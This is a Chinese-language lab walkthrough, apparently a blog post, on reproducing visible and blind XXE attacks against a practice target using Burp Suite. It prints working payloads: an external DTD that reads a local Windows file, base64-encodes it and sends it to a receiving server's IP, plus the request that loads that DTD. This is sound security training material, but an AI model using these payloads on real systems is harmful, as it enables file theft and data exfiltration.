文章目录
- 前言
- 一、有返回显示XXE
- 1、在输入框输入随机数据,抓包
- 2、在BP数据包和靶场中各尝试使用正确的XML格式重新输入
- 3、使用BP进行URL编码,利用XXE来读取系统文件
- 二、无回显XXE
- 1、模拟使用的机器
- 2、修改代码实现靶场无回显
- 2.1、修改靶场代码,让其实现无回显
- 2.2、在靶场输入数据,抓包测试
- 3、开始复现
- 3.1、利用DNSLog来测试XXE是否存在
- 3.2、创建一个恶意dtd文档,构造读取方式
- 3.3、在接受服务器开启server服务
- 3.4、在BP中构造POC重发送
- 3.5、POC讲解
前言
关卡样式:
一、有返回显示XXE
1、在输入框输入随机数据,抓包
输入123,查看结果:
输入123后,显示上图数据,说明这里输入的XML格式错误
查看抓取的数据包:
抓到的数据包如上
2、在BP数据包和靶场中各尝试使用正确的XML格式重新输入
输入的XML格式:
<?xml version="1.0"?>
<!DOCTYPE foo[
<!ENTITY xxe "正确的XXE输入">]>
<foo>&xxe;</foo>
在BP数据包中修改后重发送
发现还是报错。
在靶场中输入:
这里发现竟然输入正确了。
这其中有什么区别呢?使用BP抓包看一看
这里发现被URL编码了
3、使用BP进行URL编码,利用XXE来读取系统文件
这里就成功读取到指定的文件内容了。
二、无回显XXE
1、模拟使用的机器
这里需要使用3台机器模拟:
- 攻击机:192.168.43.130
- 靶机:192.168.43.131
- 模拟外网接收服务器:192.168.43.129
2、修改代码实现靶场无回显
2.1、修改靶场代码,让其实现无回显
2.2、在靶场输入数据,抓包测试
这里地区实现无回显了。
3、开始复现
3.1、利用DNSLog来测试XXE是否存在
返回DNSLog查看
的确接收到了,这就说明XXE是存在的。
3.2、创建一个恶意dtd文档,构造读取方式
注意:这里的IP地址是写模拟外网接收服务器的IP地址
POC:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/windows/win.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.43.129?c=%file;'>">
接着就把这个文件改成dtd格式,放置到模拟外网接收服务器中
3.3、在接受服务器开启server服务
开启位置是放置dtd的文件夹
3.4、在BP中构造POC重发送
在接受服务器就看到上图的信息,把“c=”后面的数据复制出来,进行BASE64解码
解码后就得到我们想得到的信息。
POC:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://192.168.43.129/123.dtd">
%xxe;%int;%send;
]>
注意:上面需要在xxe实体前加上%才能引用,还有不要忘记分号(;)
3.5、POC讲解
很多人会疑问:%xxe;%int;%send;
究竟是什么意思?
其实这里第一个%xxe;
就是指向dtd文件
第二个%int;
就是指向构造的XML语句
第三个send;
就是指向我们要读取的目标文件